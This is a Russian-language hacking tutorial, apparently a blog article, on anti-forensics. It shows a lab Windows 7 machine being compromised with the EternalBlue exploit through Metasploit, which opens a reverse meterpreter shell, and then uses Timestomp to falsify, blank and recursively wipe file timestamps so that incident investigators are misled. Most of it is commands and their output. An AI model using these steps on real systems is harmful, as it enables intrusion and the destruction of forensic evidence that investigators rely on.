Бесплатно Экспресс-аудит сайта:

18.01.2020

Сокрытие следов через модификацию файловых атрибутов при помощи модуля Timestomp в Metasploit

Автор: drd_

Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit.

Что такое значения MACE?

Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности.

В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой.

С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время.

Шаг 1: Настройка рабочей среды

Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).

Рисунок 1: Тестовые файлы в целевой системе

Шаг 2: Получение meterpreter-сессии

После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit.

~# msfconsole

msf5 >

Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине.

msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234

[*] 10.10.0.104:445 - Connecting to target for exploitation.

[+] 10.10.0.104:445 - Connection established for exploitation.

[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply

[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)

[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes

[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv

[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.

[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet

[*] 10.10.0.104:445 - Starting non-paged pool grooming

[+] 10.10.0.104:445 - Sending SMBv2 buffers

[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

[*] 10.10.0.104:445 - Sending final SMBv2 buffers.

[*] 10.10.0.104:445 - Sending last fragment of exploit packet!

[*] 10.10.0.104:445 - Receiving response from exploit packet

[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 10.10.0.104:445 - Sending egg to corrupted connection.

[*] 10.10.0.104:445 - Triggering free of corrupted buffer.

[*] Sending stage (206403 bytes) to 10.10.0.104

[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Шаг 3: Проверка файлов в целевой системе

После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории.

meterpreter > pwd

C:Windowssystem32

Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов.

meterpreter > cd C:/Myfiles

meterpreter > ls

Listing: C:Myfiles

===================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt

100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt

100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt

100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt

Шаг 4: Изменение атрибутов файлов при помощи Timestomp

Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным.

В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help:

meterpreter > timestomp help

Usage: timestomp <file(s)> OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file

-b Set the MACE timestamps so that EnCase shows blanks

-c <opt> Set the "creation" time of the file

-e <opt> Set the "mft entry modified" time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Set the "last written" time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file

1. Просмотр файловых атрибутов

Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2019-04-08 13:44:25 -0500
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500

Entry Modified: 2019-04-08 13:44:25 -0500

2. Изменение значений Modified, Accessed, Created и Entry Modified

Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.

meterpreter > timestomp example.txt -m "02/14/2012 08:10:03"
 
[*] Setting specific MACE attributes on example.txt

Теперь при повторном просмотре атрибутов видны изменения.

meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt

Modified : 2012-02-14 08:10:03 -0600

Accessed : 2019-04-08 13:43:24 -0500

Created : 2019-04-08 13:43:24 -0500

Entry Modified: 2019-04-08 13:44:25 -0500

Схожим образом изменяется атрибут «accessed» при помощи флага –a.

meterpreter > timestomp example.txt -a "02/14/2012 08:10:03"
 
[*] Setting specific MACE attributes on example.txt

И атрибут «created» при помощи флага c.

meterpreter > timestomp example.txt -c "03/11/1999 10:05:01"
 
[*] Setting specific MACE attributes on example.txt

В завершении меняем атрибут «entry modified», используя флаг e.

meterpreter > timestomp example.txt -e "04/25/2018 11:11:08"
 
[*] Setting specific MACE attributes on example.txt

Теперь при просмотре файла видим, что появились изменения.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2012-02-14 08:10:03 -0600
Created       : 1999-03-11 10:05:01 -0600
Entry Modified: 2018-04-25 12:11:08 -0500

3. Установка во все атрибуты одного значения

Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.

meterpreter > timestomp example.txt -z "10/15/2017 05:30:22"
 
[*] Setting specific MACE attributes on example.txt

Изменения появились.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2017-10-15 06:30:22 -0500
Accessed      : 2017-10-15 06:30:22 -0500
Created       : 2017-10-15 06:30:22 -0500
Entry Modified: 2017-10-15 06:30:22 -0500

4. Перенос значений из другого файла

При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.

meterpreter > timestomp example.txt -f C:\Windows\notepad.exe
 
[*] Pulling MACE attributes from C:Windows
otepad.exe
[-] priv_fs_get_file_mace: Operation failed: The handle is invalid.

5. Обнуление значений

Мы можем полностью обнулить атрибуты, используя флаг -b

meterpreter > timestomp example.txt -b
 
[*] Blanking file MACE attributes on example.txt

Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2106-02-07 00:28:15 -0600
Accessed      : 2106-02-07 00:28:15 -0600
Created       : 2106-02-07 00:28:15 -0600
Entry Modified: 2106-02-07 00:28:15 -0600

При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.

meterpreter > timestomp ./ -r
 
[*] Blanking directory MACE attributes on ./

Теперь при просмотре на целевой машине все даты оказываются пустыми.

Рисунок 2: Атрибуты файлов после рекурсивного обнуления

Заключение

В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего.

Передаю большой привет белым шляпам J.